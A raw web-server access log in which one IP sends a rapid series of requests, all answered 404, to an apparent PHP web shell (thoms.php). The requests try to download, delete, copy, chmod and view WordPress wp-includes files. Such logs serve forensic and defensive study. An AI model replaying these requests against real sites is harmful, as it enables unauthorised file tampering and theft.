45.135.193.11 - - [11/Sep/2026:23:58:56 -0400] "GET /thoms.php?dl=registration.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=registration.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:56 -0400] "GET /thoms.php?del=script-loader.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=script-loader.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:56 -0400] "GET /thoms.php?chmod=assets&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=assets&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:56 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes%2Fblocks HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes%2Fblocks" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:57 -0400] "GET /thoms.php?dl=class-wp-block-pattern-categories-registry.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-pattern-categories-registry.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:57 -0400] "GET /thoms.php?dl=class-wp-http-requests-hooks.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-requests-hooks.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:57 -0400] "GET /thoms.php?del=class-wp-icon-collections-registry.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-icon-collections-registry.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:57 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=date.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=date.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:57 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fmeta.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fmeta.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:57 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fphp-compat&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fphp-compat&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:57 -0400] "GET /thoms.php?del=cache.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=cache.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:57 -0400] "GET /thoms.php?del=capabilities.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=capabilities.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:57 -0400] "GET /thoms.php?dl=ms-functions.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-functions.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:57 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fnav-menu.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fnav-menu.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:57 -0400] "GET /thoms.php?chmod=post-formats.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=post-formats.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:57 -0400] "GET /thoms.php?dl=template-loader.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=template-loader.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:57 -0400] "GET /thoms.php?chmod=class-wp-network.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-network.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:57 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class.wp-dependencies.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class.wp-dependencies.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:57 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=post.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:57 -0400] "GET /thoms.php?del=sitemaps.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=sitemaps.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:58 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Ftheme-templates.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Ftheme-templates.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:58 -0400] "GET /thoms.php?dl=class-IXR.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-IXR.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:58 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-walker-nav-menu.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-walker-nav-menu.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:58 -0400] "GET /thoms.php?del=class-wp-phpmailer.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-phpmailer.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:58 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fspl-autoload-compat.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fspl-autoload-compat.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:58 -0400] "GET /thoms.php?del=class-walker-category.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-walker-category.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:58 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-feed-cache-transient.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-feed-cache-transient.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:58 -0400] "GET /thoms.php?dl=class-wp-icon-collections-registry.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-icon-collections-registry.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:58 -0400] "GET /thoms.php?dl=class-wp-role.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-role.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:58 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes%2Fhtml-api HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes%2Fhtml-api" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:58 -0400] "GET /thoms.php?chmod=blocks.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=blocks.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:58 -0400] "GET /thoms.php?chmod=class-wp-block-parser-frame.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-parser-frame.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:58 -0400] "GET /thoms.php?del=class-wp-customize-setting.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-setting.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:58 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-scripts.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-scripts.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:58 -0400] "GET /thoms.php?del=feed-atom-comments.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=feed-atom-comments.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:58 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Ffunctions.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Ffunctions.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:59 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=theme.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=theme.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:59 -0400] "GET /thoms.php?del=class-wp-text-diff-renderer-inline.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-text-diff-renderer-inline.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:59 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-theme-json.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-theme-json.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:59 -0400] "GET /thoms.php?del=embed.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=embed.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:59 -0400] "GET /thoms.php?dl=class-phpass.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-phpass.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:59 -0400] "GET /thoms.php?del=class-wp-feed-cache.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-feed-cache.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:59 -0400] "GET /thoms.php?del=class-wp-object-cache.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-object-cache.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:59 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=feed-rss.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=feed-rss.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:59 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-dependencies.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-dependencies.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:59 -0400] "GET /thoms.php?dl=class-wp-http-proxy.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-proxy.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:59 -0400] "GET /thoms.php?del=class-wp-simplepie-file.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-simplepie-file.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:59 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=query.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:59 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Frobots-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Frobots-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:59 -0400] "GET /thoms.php?chmod=atomlib.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=atomlib.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:59 -0400] "GET /thoms.php?del=block-patterns.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=block-patterns.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:59 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fembed-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fembed-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:00 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=rest-api.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=rest-api.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:00 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=block-bindings.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=block-bindings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:00 -0400] "GET /thoms.php?del=category.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=category.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:00 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-block-processor.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-block-processor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:00 -0400] "GET /thoms.php?chmod=class-wp-tax-query.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-tax-query.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:00 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=json-schema.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=json-schema.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:00 -0400] "GET /thoms.php?dl=nav-menu.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=nav-menu.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:00 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fcertificates&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fcertificates&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:00 -0400] "GET /thoms.php?chmod=IXR&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=IXR&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:00 -0400] "GET /thoms.php?dl=class-wp-fatal-error-handler.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-fatal-error-handler.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:00 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-styles.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-styles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:00 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-text-diff-renderer-inline.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-text-diff-renderer-inline.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:00 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-customize-widgets.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-customize-widgets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:00 -0400] "GET /thoms.php?dl=class-wp-matchesmapregex.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-matchesmapregex.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:00 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-oembed.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-oembed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
